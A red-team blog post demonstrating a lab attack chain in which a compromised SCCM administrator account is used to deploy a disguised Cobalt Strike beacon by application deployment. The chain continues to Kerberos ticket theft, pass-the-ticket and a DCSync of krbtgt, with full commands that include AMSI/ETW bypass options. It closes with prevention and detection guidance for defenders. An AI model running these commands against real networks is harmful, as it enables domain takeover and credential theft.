SCCM Exploitation: Evading Defenses and Moving Laterally with SCCM Application Deployment
TL;DR: Compromise of an SCCM administrator account can easily lead to compromise of every machine managed by SCCM. As this can lead to lateral movement and widespread host compromise, SCCM administrator accounts should be considered highly privileged accounts.
Introduction:
To date, there are many published articles showing various methods to compromise SCCM infrastructure or accounts. For example, in our previous blog article, “SCCM Exploitation: Account Compromise Through Automatic Client Push & AD System Discovery,” we described one method of compromising the SCCM machine and client push accounts. In another, Chris Thompson, in his blog post “SCCM Site Takeover via Automatic Client Push Installation,” outlines another method and ultimately uses the SCCM machine account in an NTLM relay attack, resulting in the creation of an SCCM Administrator account. Further examples can be found within the tool “Misconfiguration Manager” under the escalate and takeover categories. Unfortunately, due to improper use of privileged accounts or the lack of tiered administration, complicated measures to gain control over an SCCM Administrator account may not be necessary. How many environments exist where SCCM administrator privileges are tacked on to a daily driver account? How many environments exist where privileged accounts, such as SCCM administrators, hold authenticated sessions on workstations or lower-tiered servers? In this blog post, we will demonstrate a scenario in which an attacker gains control over an SCCM administrator account and leverages this access to compromise a domain administrator account by abusing SCCM functionality to deploy Cobalt Strike beacons laterally.
Anatomy of an Attack:
In this scenario, a fictional organization has assigned SCCM Full Administrator privileges to an account “mastadon\dougfresh” that is outside of SCCM, and the user’s own workstation has no other domain privileges. An attacker, either by phishing or compromising the workstation through other methods, gained control of this account and established a C2 implant utilizing a Cobalt Strike beacon.
Ground Zero:
After gaining control of an account, an attacker will need to identify what privileges are associated with it both locally and within the domain. There are a variety of ways to do this. In this example, we’ve used the “whoami” beacon object file (BOF) from TrustedSec, which runs within the beacon process, avoids interacting with the local “whoami.exe” and returns output like the “whoami /all” command.
Examining this output, we find that our user is a member of the BUILTIN\Administrators group. This is our first piece of evidence suggesting SCCM is deployed within this environment–membership in the domain group “SCCM_ADMINS.”
At this point, an attacker would likely continue to enumerate locally and in within the domain. Many different approaches exist; perhaps they’d chase down what privileges are afforded the SCCM_ADMINS group. Likely, they’d establish persistence on this workstation and scour the local environment for useful information. One such piece of information would be whether this workstation is an SCCM asset. One way to identify this is to hunt for the CcmExec process. In this case, a simple “ps” command shows this process is running, signifying this workstation is likely managed by SCCM. Additionally, you can look for the CCM folder within the Windows directory.
For brevity’s sake, let’s assume we have further enumerated privileges for the SCCM_ADMINS group and established that beyond potential SCCM privileges, no further domain privileges are granted. At this point, we need to identify SCCM infrastructure and confirm our SCCM administrative privileges. To do this, we will leverage the ldapsearch BOF from TrustedSec to run simple LDAP searches against the domain, hunting for SCCM related information such as the management point or other SCCM assets.
In our first search, we are using a query designed to retrieve information from the mSSMSManagementPoint class which shows the DNS host name of the Management Point.
ldapsearch objectclass=mssmsmanagementpoint
After identifying that the DNS host name contains “sccm,” we can do a further LDAP fuzzy search for this value in the chance that other SCCM infrastructure contains this value. In this example, we are searching for any computer object with “sccm” within the Common Name.
ldapsearch (&(objectClass=computer)(cn=*sccm*)) samaccountname
Now that we’ve identified at least four SCCM assets and the management point, we can start interacting with the SCCM infrastructure in further enumeration.
The first thing we’d really like to confirm as an attacker is whether we are an SCCM administrator and what level of privileges we hold within the SCCM ecosystem. To accomplish this, we can utilize the dotnet assembly, SharpSCCM, created by Chris Thompson, to interact with the management point and retrieve a list of the SCCM admins. We will execute this assembly within the beacon process to avoid spawning a sacrificial process–à la “fork and run”–which is frequently detected by Endpoint Detection and Response (EDR) solutions. To get this done, we are utilizing the InlineExecute-Assembly BOF by @anthemtotheego, which we’ve configured via command switches to attempt to disable the Anti-Malware Scan Interface (AMSI) and Event Tracing for Windows (ETW). Additionally, we’ve set a non-default AppDomain name and mailslot value as the default values are published Indicators of Compromise (IoC).
inlineExecute-Assembly --dotnetassembly /opt/tools/SharpSCCM.exe --assemblyargs get admins --no-banner --etw --amsi --AppDomain superlegit --mailslot completelyreal
As we can see in the above image, the “get admins” functionality of SharpSCCM first queries the local root\CCM namespace to identify the current management point and site code. To avoid this, we could pass these options via command switches. In the example above, we also see the attempt to connect to the SMS\site_123 namespace failed with an error returned “Invalid namespace.” There are a variety of reasons this could happen, but it’s important to show why it may be necessary to identify other SCCM assets. Rather than simply giving up on this attack chain, we can specify a different host as the SMS provider via the command line. As we already know the site code as well, we will specify this as well.
inlineExecute-Assembly --dotnetassembly /opt/tools/SharpSCCM.exe --assemblyargs get admins -sms sccm-sitesrv.mastadon.lab -sc 123 --no-banner --etw --amsi --AppDomain superlegit --mailslot completelyreal
Targeting what appears to be the primary site server, sccm-sitesrv, we’ve executed the “get admins” command and can see SharpSCCM using WMI Query Language (WQL) to query the SMS_ADMIN class within the root\SMS namespace. This return establishes that our SCCM_ADMINS group has Full Administrator privileges within the SCCM ecosystem.
Having confirmed our SCCM administrative privileges, we will now hunt for a privileged account. We will use the ldapsearch BOF to enumerate members of the Domain Admins group.
ldapsearch "(&(objectclass=group)(samaccountname=Domain Admins))" name,samaccountname,member
As we can see above, this search returned three members of the Domain Admins group. Our next move is to identify a host which may have an authenticated session for one of these accounts.
Thankfully, SCCM administrator privileges affords us a couple of mechanisms that could help. Utilizing SharpSCCM, we can leverage our privilege to query the SMS provider and return the “name” and “LastLogonUserName” properties for instances of the SMS_R_System class filtering on the “LastLogonUserName” of our choosing. In this case, we will choose the user “mastadon.”
inlineExecute-Assembly --dotnetassembly /opt/tools/SharpSCCM.exe --assemblyargs get class-instances SMS_R_System -p "Name" -p "LastLogonUserName" -w "LastLogonUserName LIKE '%mastadon%'" -sms sccm-sitesrv.mastadon.lab -sc 123 --no-banner --etw --amsi --AppDomain superlegit --mailslot completelyreal
After executing this command, we can see that SCCM has recorded the account “mastadon” as the last logged on user for the host WORKSTATION2. It should be noted, as Chris Thompson mentioned in his blog, this attribute could be incorrect as it only records the last account that was logged into the system at the time of the data discovery. This information is collected by default every seven days. So, if any other users logged into the system between then and now, it could be stale information. Nevertheless, it’s still a good indicator that a Domain Admin account could have a valid authentication session.
We can solidify this information and gain further insight into the active sessions by executing a CMPivot query through SharpSCCM. To accomplish this, we first need to identify the resource ID of WORKSTATION2. We can execute the SharpSCCM function “get resource-id” to identify this value.
inlineExecute-Assembly --dotnetassembly /opt/tools/SharpSCCM.exe --etw --amsi --AppDomain mammoth --mailslot tusk --assemblyargs get resource-id -d WORKSTATION2 -sms sccm-sitesrv.mastadon.lab -sc 123
Now that we have the resourceID, we can execute a CMPivot query utilizing SharpSCCM in-conjunction with BOF.NET. In this query, we’ve filtered for successful logons, EventID 4624, in the last four hours.
bofnet_jobassembly SharpSCCM invoke admin-service -q "EventLog('Security',4h) | where EventID == 4624 | order by DateTime desc" -r 16777219 -sms sccm-sitesrv.mastadon.lab -sc 123
After waiting approximately 30 seconds, running the command “bofnet_jobstatus 4” returns data showing a new logon for our target user.
Armed with this information, we need to identify which SCCM device collections are present. This could be useful as if there is a collection that only includes this device or a limited number of devices such as “admin workstations” then we can target that collection. Otherwise, we will create our own collection.
To identify which collections are present, we will again leverage SharpSCCM by executing the “get collections” function while specifying the “IsBuiltIn, MemberCount, and “Name” properties for return.
inlineExecute-Assembly --dotnetassembly /opt/tools/SharpSCCM.exe --assemblyargs get collections -sms sccm-sitesrv.mastadon.lab -sc 123 -p Name -p MemberCount -p IsBuiltIn --no-banner --etw --amsi --AppDomain superlegit --mailslot completelyreal
As shown above, we’ve only identified built-in collections and none that are limited to WORKSTATION2. As we want a targeted deployment, we will need to create our own collection and add our target host.
Reconnaissance Summary:
We’ve established that we are an SCCM Administrator and identified a SCCM managed host which has a domain admin account named “mastadon” listed as the “LastLoggedonUser.” We’ve also identified a successful login by enumerating Windows Event Logs with an EventID of 4624. There is a solid chance that there will be an authenticated session for the “mastadon” account if we can move laterally to that host. In short, we have a target.
Staging:
Now that we’ve completed our initial reconnaissance and identified a privileged account, we now need to stage our attack. As our goal is to use SCCM to deploy our beacons, we first need to stage them in a manner that any machine or user account can reach them. If we’ve identified a domain wide accessible share, we can stage there. Otherwise, we will create our own share that is accessible by any domain authenticated user.
Share Creation:
Let’s assume that we haven’t found a share accessible to all domain computers or users. To create one, we will use the sharefolder_create BOF which was created by James Coote. After changing directories into something less conspicuous such as “C:\users\Public\,” we will use this BOF to create a folder named “ProductivityApps” and share it with the name “ProductivityApps.”
sharefolder_create C:\users\Public\ProductivityApps ProductivityApps
cacls C:\users\Public\ProductivityApps
As we can see in the above image, the share was created, however, the NTFS permissions shown in the output of the “cacls” BOF do not include an Access Control Entry (ACE) to allow read and execute for the “Authenticated Users” group.
We will add the appropriate ACE using a PowerShell one-liner within an unmanaged PowerShell runspace created by the dotnet assembly, Stracciatella. As demonstrated previously, this will be executed within the beacon process using InlineExecute-Assembly. You can think of this as Cobalt Strike’s “Powerpick” functionality but without the sacrificial process creation.
inlineExecute-Assembly --dotnetassembly /opt/tools/Stracciatella.exe --etw --amsi --AppDomain mammoth --mailslot blendingin --assemblyargs $NewAcl = Get-Acl -Path "C:\users\Public\ProductivityApps"; $identity = 'Authenticated Users'; $fileSystemRights = 'ReadAndExecute'; $type = 'Allow'; $fileSystemAccessRuleArgumentList = $identity, $fileSystemRights, $type; $fileSystemAccessRule = New-Object -TypeName System.Security.AccessControl.FileSystemAccessRule -ArgumentList $fileSystemAccessRuleArgumentList; $NewAcl.SetAccessRule($fileSystemAccessRule); Set-Acl -Path "C:\users\Public\ProductivityApps" -AclObject $NewAcl
We can check the ACEs for the share using the cacls BOF.
cacls C:\users\Public\ProductivityApps
As shown above, the output of the cacls BOF now contains an “R” for “Authenticated Users” which signifies read access. However, if we check further with the PowerShell commandlet “Get-ACL” we will see it has “ReadAndExecute.”
inlineExecute-Assembly --dotnetassembly /opt/tools/Stracciatella.exe --etw --amsi --AppDomain mammoth --mailslot blendingin --assemblyargs Get-Acl -Path "C:\users\Public\ProductivityApps" | Format-List
Payload Staging:
Now that we have our SMB share, we are now ready to stage our payload. Building evasive payloads is beyond the scope of this scenario, however, it should be noted this can be expected by threat actors or red teams. For this scenario, we are using the UDRL “BokuLoader” which was created by Bobby Cooke and GuidePoint proprietary tools to convert our Cobalt Strike shellcode into a Portable Executable file. As we want to blend in with traffic typically seen in a Windows environment, we have created an SMB listener and beacon.
We will upload this beacon to our shared folder with Cobalt Strike’s built-in upload functionality.
After the payload is uploaded, we need to ensure it allows “Authenticated Users” to read and execute. To ensure this ACE is present, we will rerun our previous PowerShell within the Stracciatella unmanaged runspace. This time we will alter the path to include the payload name which in this case is “android-studio.exe.”
inlineExecute-Assembly --dotnetassembly /opt/tools/Stracciatella.exe --etw --amsi --AppDomain mammoth --mailslot blendingin --assemblyargs $NewAcl = Get-Acl -Path "C:\users\Public\ProductivityApps\android-studio.exe"; $identity = 'Authenticated Users'; $fileSystemRights = 'ReadAndExecute'; $type = 'Allow'; $fileSystemAccessRuleArgumentList = $identity, $fileSystemRights, $type; $fileSystemAccessRule = New-Object -TypeName System.Security.AccessControl.FileSystemAccessRule -ArgumentList $fileSystemAccessRuleArgumentList; $NewAcl.SetAccessRule($fileSystemAccessRule); Set-Acl -Path "C:\users\Public\ProductivityApps\android-studio.exe" -AclObject $NewAcl
Checking the ACLs of the payload now shows “Authenticated Users” as having ReadAndExecute privileges.
inlineExecute-Assembly --dotnetassembly /opt/tools/Stracciatella.exe --etw --amsi --AppDomain mammoth --mailslot blendingin --assemblyargs Get-Acl -Path "C:\users\Public\ProductivityApps\android-studio.exe" | Format-List
As we can see above, we’ve created a share, staged our beacon payload, and ensured both have the appropriate permissions. Now it’s time to execute an SCCM application deployment.
Execution:
During this phase of the attack chain, we are going to use SharpSCCM to accomplish the following steps:
- Create a collection.
- Add our target device, WORKSTATION2, to that collection.
- Create an application within SCCM with the target being the UNC path to the staged payload within our network share.
- Create an application deployment.
- Force the members of the collection (our target, WORKSTATION2) to apply the updated policy and execute the deployed application.
That sounds like a lot, right? Thankfully, SharpSCCM automates all these steps and even cleans up afterwards.
To demonstrate this, I will first use the InlineExecute-Assembly BOF to execute the SharpSCCM assembly utilizing the “exec” function. It should be noted, that due to the use of InlineExecute-Assembly, this command will not return any output until the entire event sequence described above is finished. In short, your beacon will hang for some time. In my experience, it’s taken about 2-3 minutes for the beacon to run on the target workstation and around five minutes for the entire sequence to complete. You can manually run each step of this automated sequence with SharpSCCM, but I will leave that up to the reader to dig further into.
inlineExecute-Assembly --dotnetassembly /opt/tools/SharpSCCM.exe --assemblyargs exec -d WORKSTATION2 -p \\workstation.mastadon.lab\ProductivityApps\android-studio.exe -sms sccm-sitesrv.mastadon.lab -sc 123 --no-banner --etw --amsi --AppDomain mammoth --mailslot tusk
In the above image, we’ve finally received output and I’d encourage you to walk through the output line by line. Chris Thompson has done an excellent job programming descriptive output into this tool. One thing that may stand out is that the application is configured to run in the context of the current logged on user. If that is our targeted user, this may result in us getting a beacon running with the mastadon context. What if the current logged on user isn’t even a local administrator?
In this case, as we can see below, we’ve linked to the beacon now deployed on WORKSTATION2 and see its running under the user mastadon. Fortuitous!
What if our beacon wasn’t running under mastadon? What if it was a low privileged domain user? To avoid scenarios like this, we can run that same command with an added “-s” flag which instructs the application to execute under the SYSTEM account. We’ve demonstrated that below, but this time using a fork of the BOF.NET tool. This tool is neat as it allows you to run assemblies within the beacon process but provides the option of running them as a job. This will create another thread, allowing you to keep control over the beacon while avoiding fork and run behavior.
bofnet_init
bofnet_load /opt/tools/SharpSCCM.exe
The first step is to initialize our BOF.NET runtime within the beacon process and load our assembly into that runtime by running the commands “bofnet_init” and “bofnet_load /path/to/assembly.exe.”
Following this, we can now execute our SharpSCCM assembly. We can check its status by utilizing the bofnet_jobstatus command.
bofnet_jobassembly SharpSCCM exec -d WORKSTATION2 -p '\\workstation.mastadon.lab\ProductivityApps\android-studio.exe' -s -sms sccm-sitesrv.mastadon.lab -sc 123
bofnet_jobstatus 13
In the example below, we’ve specified the “-s” flag this time to get a beacon back in SYSTEM context. Running the command, “bofnet_jobstatus 5,” allows us to check in and observe the output of the assembly running as job five.
After waiting approximately 30 seconds, we linked with the SMB beacon on WORKSTATION2 and achieved a successful beacon check-in with a SYSTEM context.
Escalate Privileges:
Now that we’ve landed on our target machine, we should probably do a quick check and see if the mastadon user has an authenticated session on this machine. Given that we are SYSTEM, we could simply run “ps” to show all processes, including those that may belong to the mastadon account. In this case, rather than simply stealing a token from one of these processes, we would like to demonstrate the retrieval of a Kerberos Ticket Granting Ticket belonging to the mastadon account. To accomplish this, we’ll leverage Kerbeus-BOF which was created by HackerRalf.
After executing the “krb_triage” command while filtering for the user mastadon and the krbtgt service, we find a valid krbtgt.
Krb_triage /user:mastadon /service:krbtgt
We can extract this TGT by again leveraging the Kerbeus-BOF. This time we will execute the krb_dump command while filtering for the LUID and service.
Krb_dump /luid:10e444 /service:krbtgt /nowrap
At this point, we could set up a Cobalt Strike SOCKS session through our beacon, and utilize this TGT in-conjunction with the Impacket library to request a Service Ticket for any service accessible by a Domain Admin. Instead, we are going to save this ticket in our field notes and inject it into our beacon context. It should be noted that we will lose our current TGT as the WORKSTATION2$ machine account, but this is easy to regain through token theft. To inject the ticket, we will use the “krb_ptt” command provided by the Kerbeus-BOF.
krb_ptt /ticket:<INSERT TICKET>
Now that the ticket is imported, we can perform a DCSync attack to retrieve the aes-256 key and NTLM hash for the krbtgt account. Retrieval of these credentials will allow us to create a Golden or Diamond ticket, providing domain persistence and perhaps even allowing us to compromise additional domains by abusing trust relationships.
To retrieve these krbtgt credentials, we’ve used BOF.NET to create a runtime within our beacon process and executed the SharpKatz assembly within. Additionally, we’ve specified the krbtgt user as well as the domain and the domain controller.
bofnet_jobassembly SharpKatz --Command dcsync --User krbtgt --Domain mastadon.lab ---DomainController dc01.mastadon.lab
At this point in the scenario, we’ve demonstrated an ability to abuse SCCM Full Administrator privileges to move laterally throughout a domain, hunting for higher privileges and ultimately compromising the domain. Let’s talk about how to prevent and detect these kinds of attacks.
Prevent and Detect:
As we discuss prevention and detection, we should narrow the scope to specifically the SCCM components of this attack chain. A tremendous number of resources are available that explore the detection of Cobalt Strike and C2 implants in general. Additionally, techniques such as DCSync have SIGMA rules developed and other detection logic integrated into numerous defensive technologies such as the identity-based solutions.
One resource that’s worth highlighting for SCCM detection and prevention guidance is Misconfiguration Manager. This tool, created by Duane Michael, Chris Thompson, and Garret Foster, serves as a compendium of SCCM related attack techniques, detections, and prevention guidance. Prevention and detection guidance can be found under the “PREVENT” and “DETECT” categories, respectively. Additionally, GuidePoint has provided guidance for both prevention and detection of SCCM enumeration and application deployment-based attacks below.
Prevention:
- MFA for SMS Provider Calls: As demonstrated throughout the attack chain, most of the SCCM enumeration and attacks required interaction with the SMS provider. Requiring MFA would help prevent an attacker from leveraging a compromised SCCM administrator account to deploy rogue applications remotely. Guidance for this can be found here.
- Leverage Role based Administration: Restrict SCCM administrative privileges to the lowest amount required. Restrict the scope of administrative privileges. Additional resources for this can be found here.
- Protect SCCM Full Administrator accounts: If compromised, these accounts could lead to the compromise of the entire SCCM hierarchy to include all the SCCM clients. Due to this scope, these Full Administrator accounts should be protected as tier zero accounts.
- Block Unnecessary Traffic to SMS Provider: After performing a thorough analysis, consider blocking unnecessary HTTPS and WMI traffic to SMS Providers.
- Extended Protection for Authentication (EPA): If the SCCM primary site machine account can be relayed to the MSSQL database, an SCCM Administrator Account can be created leading to site takeover. Extended Protection for Authentication helps prevent NTLM relay to MSSQL.
- SMB Signing: As many SCCM techniques involve coercion of the SCCM machine account and relay to other SCCM infrastructure, SMB signing should be enabled as this helps prevent relay of NTLM authentication to the SMB service.
Detection:
There are several telemetry sources that can be leveraged to detect malicious application deployments. Some of these sources, such as AppEnforce.log are located within the CCM folder within the Windows directory. This log contains detailed information showing application deployments as demonstrated below.
Unfortunately, due to data storage or bandwidth concerns, it may not be feasible to collect this log from every SCCM client. Another telemetry source that can leveraged is SCCM Audit Status Messages. One way these messages can be viewed is through the Configuration Manager console as shown below. These messages where identified by querying for MessageID 30226 and 30228. In addition to these messages, the creation of collections can be monitored through Audit Status Messages.
These status messages are stored within the SCCM SQL database and can be queried with SQL queries and ingested into a SIEM for correlation and detection. The saved status message queries within the console can be configured to SQL queries by doing the following:
- Change table names from SMS_* to v_
- Example: SMS_ StatusMessage becomes v_StatusMessage
- Search for all single quotes and convert to double quotes.
The “Application Deployment” saved query created for this blog has been converted as an example below:
select stat.*, ins.*, att1.*, stat.Time from v_StatusMessage as stat left join v_StatMsgInsStrings as ins on stat.RecordID = ins.RecordID left join v_StatMsgAttributes as att1 on stat.RecordID = att1.RecordID where stat.MessageType = 768 and stat.MessageID >= 30224 and stat.MessageID <= 30228 and stat.Time >= ##PRM:v_StatusMessage.Time## order by stat.Time desc
Tools Used:
The following tools were used in this demonstration:
- Cobalt Strike – Used as the C2 platform.
- Situational Awareness BOF – Various BOFS used such as ldapsearch and whoami.
- Sharefolder_create – used to create a folder and network share.
- Kerbeus_BOF – Used to triage Kerberos tickets and extract an TGT.
- InlineExecute-Assembly – Used to run dotnet assemblies within the beacon process.
- SharpSCCM – SCCM multi-tool used to perform SCCM reconnaissance execute the SCCM application deployment.
- Stracciatella – Used to create an un-managed PowerShell runspace to execute PowerShell commands without AMSI.
- BokuLoader – Used as the User-Defined Reflective Loader in payload creation.
- Ludus – One of the best resources available to automate the deployment of lab environments.
- SCCM Ludus Role – SCCM roles and templates created by Zach Stein for Ludus enabling perhaps the fastest way to get a comprehensive SCCM lab deployed.
References and Resources:
- Misconfiguration Manager – Valuable resource that catalogs and categorizes SCCM exploitation techniques and prevention/detection guidance.
- SCCM Site Takeover via Automatic Client Push Installation – Blog by Chris Thompson that details a method of taking over an SCCM site through coercion, relay, and SCCM Full Administrator account creation.
- Lateral Movement without Lateral Movement (Brought to you by ConfigMgr) – Blog by Diego Lomellini that outlines using SCCM to collect information from clients such as logon sessions.
- Get a SQL Query from Status Message Viewer – Demonstrates how to retrieve WQL queries from the Configuration Manager Console and convert to SQL.
- Relaying NTLM Authentication from SCCM Clients – Blog by Chris Thompson that details using SharpSCCM to coerce client authentication through an application deployment.
- PowerShell Documentation – Reference for the PowerShell commands used to create the ACE within the attack chain.
- Automating SCCM with Ludus: A Configuration Manager for Your Configuration Manager – Blog by Zach Stein outlining the use of Ludus and SCCM roles to deploy a functional SCCM lab.